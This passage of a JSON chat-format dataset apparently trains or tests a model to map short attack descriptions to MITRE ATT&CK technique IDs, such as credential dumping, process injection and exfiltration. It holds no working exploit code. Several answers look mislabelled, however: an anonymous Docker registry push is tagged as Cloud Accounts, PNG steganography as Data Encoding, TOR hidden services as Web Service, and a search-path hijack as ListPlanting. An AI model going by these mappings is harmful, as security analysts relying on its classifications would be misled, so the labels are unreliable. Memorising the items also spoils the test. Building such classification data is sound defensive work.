                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware swaps out the legitimate login executable with a malicious version that captures user credentials before authenticating."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By repeatedly initiating TLS handshakes to a vulnerable web server, the adversary drains the server's computational resources, resulting in a service exhaustion scenario."
            },
            {
                "role": "assistant",
                "content": "T1499.002 - Endpoint Denial of Service: Service Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker modifies the sudoers file to add a user with NOPASSWD privileges."
            },
            {
                "role": "assistant",
                "content": "T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the Registry to include service account passwords in the Run key for stealthy credential storage."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary reads the cgroup filesystem under \"/sys/fs/cgroup/docker\" to discover running container IDs and their resource limits."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intruder accesses IRC logs, extracts passwords shared in plaintext, and uploads them to a dropbox folder."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware copies encrypted files to a remote Azure Blob storage container to stage them before final exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deleted the mapped network drive and removed its SMB connection to erase evidence of data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware accesses a network share via CIFS, extracts database backups, and uploads them to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign drops a fake Chrome extension that requests permission to read all saved passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious iframe is embedded in a partner website, capturing login credentials submitted to the partner's web portal."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a kernel exploit to read the securityd address space and steal password entries."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious netsh helper DLL is loaded during a network configuration change, allowing the attacker to run arbitrary code under SYSTEM."
            },
            {
                "role": "assistant",
                "content": "T1546.007 - Event Triggered Execution: Netsh Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a misconfigured Docker registry that allows anonymous pushes, uploading a malicious image."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromised a user’s Azure AD account and used the Azure portal dashboard to enumerate and modify virtual machines."
            },
            {
                "role": "assistant",
                "content": "T1538 - Cloud Service Dashboard"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A privilege escalation is achieved by abusing the token manipulation capabilities of the Windows OS."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By altering the internal linked list of loaded libraries, the adversary injects code that executes with the privileges of the victim process."
            },
            {
                "role": "assistant",
                "content": "T1055.015 - Process Injection: ListPlanting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor employed a custom binary to zero out the /var/log/messages file on an Ubuntu machine."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker injected malicious code into a dependency of a popular web framework during its build process, causing any applications using the framework to execute the malicious payload."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Credential dumping of NTDS by dumping the SYSTEM hive and the NTDS.dit to retrieve password hashes."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder collects SSH config entries and known_hosts files to map out trusted hosts."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion technique involves writing shellcode to the extra window memory of a target process and employing a remote thread to launch it."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a macro that creates a reflective DLL in memory, executing it without ever creating a file on the host."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious WhatsApp message was crafted with a link to a phishing site mimicking the company’s intranet portal."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The hacker obtains a zero‑day exploit for a popular web browser and integrates it into their phishing campaign."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages Python's requests library to communicate with a command-and-control server over TLS."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employs the Windows Credential Editor (WCE) tool to dump and reuse password hashes from memory."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware configures a local proxy service to forward outbound traffic through a compromised internal server, masking the original source."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan establishes a covert channel by encrypting its traffic using a pre‑shared secret and the Blowfish algorithm."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware queries the system BIOS to retrieve the motherboard model and serial number."
            },
            {
                "role": "assistant",
                "content": "T1592.001 - Gather Victim Host Information: Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Creating a malicious Office add‑in that leverages the COM automation interface to execute cmd.exe on startup."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script reads the raw sectors of a USB flash drive to extract configuration files that are not mounted."
            },
            {
                "role": "assistant",
                "content": "T1006 - Direct Volume Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages list planting by inserting a rogue module into the system's module search path, causing legitimate processes to load the malicious code."
            },
            {
                "role": "assistant",
                "content": "T1055.015 - Process Injection: ListPlanting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ransomware adds a module that captures video of the desktop environment using the screen capture API."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor exploits a cross‑site scripting (XSS) vulnerability in a web application to deliver malware."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor conducts a wide‑range port scan of the target organization’s external IP space to identify exposed services."
            },
            {
                "role": "assistant",
                "content": "T1595 - Active Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group disguises command output by converting it to a PNG image using steganography."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor performs a port scan on the target's VPN gateway to determine allowed protocols."
            },
            {
                "role": "assistant",
                "content": "T1595 - Active Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor exfiltrates data by encrypting it with the attacker’s public key and sending it over an MQTT broker that is not used for C2."
            },
            {
                "role": "assistant",
                "content": "T1048.002 - Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware writes a URL to a Dropbox share folder, using that link as the target for downloading extra modules."
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Stage Capabilities: Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised user account is used to resume a previously established TeamViewer session for data theft."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploiting a setgid binary that runs with special group permissions, the intruder accesses sensitive configuration files."
            },
            {
                "role": "assistant",
                "content": "T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber‑criminals craft exploit payloads targeting a newly discovered memory corruption bug."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The red team uses mshta.exe to execute a JavaScript payload encoded in HEX that establishes a C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The hacker employed a drive‑by compromise by exploiting a zero‑day vulnerability in Chrome via a malicious webpage, delivering a remote access trojan."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor communicates with its C2 via the TOR network, establishing hidden services for command exchange."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set places a counterfeit code signing certificate onto the victim's system, enabling the execution of stage payloads."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries used a reverse shell spawned via /bin/bash to maintain persistence on the target system."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team members analyze HTTP headers returned by the CDN to infer backend server software and configuration details."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a flaw in the domain controller's authentication module to inject custom credentials that are treated as valid."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Modify Authentication Process: Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker orchestrates a SYN‑ACK reflection attack targeting a specific endpoint, saturating its inbound traffic and causing a DoS."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Python code is used to tamper with system time settings to evade time-based security detections."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the compromise, the attacker hijacks the DHCP process, injecting incorrect network configuration to enable man‑in‑the‑middle packet capture."
            },
            {
                "role": "assistant",
                "content": "T1557.003 - Adversary-in-the-Middle: DHCP Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a payload that runs 'dsadd user' to create a low-privilege domain account."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining root, the intruder deletes the contents of /private/var/log/system.log on macOS."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool changes the password for a service account in the LDAP directory to prevent detection and maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor encodes a malicious payload inside a QR code image, which is later scanned by a compromised mobile application."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a fileless malware chain to execute a mining command line tool, stealing GPU cycles from the victim's workstation."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used a legitimate FTP client to push a ransomware payload onto the target machine as part of their staging process."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary gathers details about the target's SSL/TLS configuration by querying SSL Labs test results."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A supply chain compromise adds code to a legitimate video editing software that triggers hidden video capture whenever the program launches."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion script executes `netdom trust /domain:TARGET /enumerate` to gather information about neighboring trusted domains."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group scans for devices with outdated firmware, then exploits the vulnerability to plant a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1588.006 - Obtain Capabilities: Vulnerabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan sets up a local proxy that copies each outbound packet and forwards the copy to a remote exfiltration point."
            },
            {
                "role": "assistant",
                "content": "T1020.001 - Automated Exfiltration: Traffic Duplication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage tool compresses data using LZMA and splits it into multiple small files to avoid detection thresholds."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the metadata service of an OpenStack VM to retrieve SSH keys and authentication tokens."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor employed a Python script to call the Windows API NetServerEnum, extracting a list of all machines on the network."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker abuses the Exchange admin portal to create a transport rule that forwards all messages to an external address."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses the organization’s internal mailing list to distribute a Word document laced with a macro that downloads a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker installs a Windows service that monitors for specific processes and injects code into them."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder placed a hidden SD card in a company laptop's SD slot, filled it with exfiltrated email archives, and slipped the laptop out of the building."
            },
            {
                "role": "assistant",
                "content": "T1052 - Exfiltration Over Physical Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using mshta to execute a remote HTML Application that loads and runs a PowerShell script, enabling lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker with physical access triggers ROMMON and loads a malicious binary, achieving persistence before the OS boots."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group leverages remote code execution in a VPN appliance to take over the internal server."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through the use of a malicious PowerShell script that abused a known PowerShell deserialization vulnerability, the attacker executed code and installed additional modules."
            },
            {
                "role": "assistant",
                "content": "T1588.005 - Obtain Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary renamed legitimate Windows binaries such as svchost.exe to appear as benign system files."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
